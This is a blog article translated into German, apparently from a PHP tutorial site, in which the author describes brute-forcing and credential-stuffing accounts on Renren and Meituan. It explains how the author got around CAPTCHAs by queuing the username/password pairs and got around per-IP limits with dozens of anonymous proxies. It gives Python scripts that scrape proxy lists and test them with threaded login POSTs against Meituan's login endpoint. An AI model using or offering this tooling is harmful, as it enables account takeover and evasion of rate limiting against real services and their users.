Heim  >  Artikel  >  Backend-Entwicklung  >  Codebeispiel für den stapelweisen Erhalt und die Überprüfung eines HTTP-Proxys über Python

Codebeispiel für den stapelweisen Erhalt und die Überprüfung eines HTTP-Proxys über Python

Y2J
Y2JOriginal
2017-05-02 15:24:121418Durchsuche

In diesem Artikel wird hauptsächlich das Python-Skript für die Stapelerfassung und -überprüfung von HTTP-Proxys vorgestellt.

HTTP-Brute-Force-Cracking und Credential-Stuffing. Es gibt einige gängige Techniken, wie zum Beispiel:

1. Beim Scannen des Kontos auf Renren.com bin ich zweimal auf einen einzelnen Kontofehler gestoßen und musste einen Bestätigungscode eingeben, aber die andere Partei hat die IP-Richtlinie nicht umgesetzt.

Ich verwende die Methode, eine Warteschlange mit 100.000 Personen (Benutzername, Passwort) zu verwalten, um den Bestätigungscode zu umgehen. Die spezifische Methode besteht darin, dass, wenn für eine bestimmte Kombination aus Benutzername und Passwort ein Bestätigungscode erforderlich ist, die Cracking-Sequenz angehalten, am Ende der Warteschlange platziert wird, auf den nächsten Test wartet und weiterhin andere Kontopasswörter geknackt wird.

Auf diese Weise können Sie sicherstellen, dass 2/3 der Zeit für normales Knacken und Kontoscannen aufgewendet wird.

2. Beim Knacken eines Systemkontos auf Meituan.com bin ich auf bestimmte Einschränkungen beim Einzel-IP-Zugriff gestoßen, und die Anforderungshäufigkeit sollte nicht zu schnell sein. Also habe ich 72 HTTP-Proxys aufgehängt, um dieses Problem zu lösen. Es scheint, dass die Anfragen von jeder IP normal sind, aber tatsächlich ist die Effizienz aus Sicht des gesamten Programms ziemlich beeindruckend.

In diesem Artikel habe ich einen Ausschnitt meines eigenen HTTP-Skripts gepostet, das eigentlich nur aus wenigen Zeilen besteht. Der anonyme Proxy wird hier abgerufen: http://www.xici.net.co/nn/

Besorgen Sie sich zuerst die Proxy-Liste:

from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)
of.close()

Überprüfen Sie dann, ob der Proxy verfügbar ist , da ich der Account bin, der zum Knacken des Meituan-Systems verwendet wurde, habe ich daher den Meituan-Seiten-Tag verwendet:

#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

Das obige ist der detaillierte Inhalt vonCodebeispiel für den stapelweisen Erhalt und die Überprüfung eines HTTP-Proxys über Python. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn